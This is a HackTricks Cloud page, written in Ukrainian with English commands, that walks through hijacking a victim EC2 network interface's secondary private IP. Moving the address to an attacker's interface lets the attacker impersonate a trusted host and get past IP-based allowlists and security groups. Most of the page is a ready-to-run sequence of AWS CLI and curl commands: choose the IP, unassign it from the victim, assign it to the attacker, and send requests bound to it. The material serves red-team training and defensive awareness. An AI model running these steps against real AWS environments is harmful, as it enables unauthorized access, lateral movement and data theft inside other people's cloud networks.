AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Зловживати ec2:UnassignPrivateIpAddresses та ec2:AssignPrivateIpAddresses, щоб викрасти вторинну приватну IP-адресу ENI жертви та перемістити її на ENI атакуючого у тій же підмережі/AZ. Багато внутрішніх сервісів та security groups обмежують доступ за конкретними приватними IP. Переміщуючи цю вторинну адресу, атакуючий видає себе за довірений хост на L3 і може отримати доступ до allowlisted сервісів.
Передумови:
- Дозволи:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddressesна ARN ENI жертви, таec2:AssignPrivateIpAddressesна ARN ENI атакуючого. - Обидва ENI мають бути в одній підмережі/AZ. Цільова адреса має бути вторинною IP (primary неможна відв'язати).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG on a target service that allows only $HIJACK_IP - PROTECTED_HOST=
Кроки:
- Виберіть вторинну IP-адресу з ENI жертви
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Переконайтеся, що захищений хост дозволяє лише ту IP-адресу (операція має бути ідемпотентною). Якщо натомість використовуються правила SG-to-SG, пропустіть.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Базовий: з attacker instance, запит до PROTECTED_HOST повинен не пройти без spoofed source (наприклад, через SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Зніміть вторинну IP-адресу з victim ENI
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Призначте ту саму IP-адресу ENI атакуючого (на AWS CLI v1 додайте
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Переконайтеся, що право власності перенесено
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- З attacker instance зробіть source-bind на hijacked IP, щоб дістатися до protected host (переконайтеся, що IP налаштований в ОС; якщо ні, додайте його за допомогою
ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Вплив
- Обійти IP allowlists і видаватися за довірені хости у VPC шляхом переміщення secondary private IPs між ENIs у тій самій subnet/AZ.
- Дістатися внутрішніх сервісів, які обмежують доступ за specific source IPs, що дозволяє lateral movement і доступ до даних.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud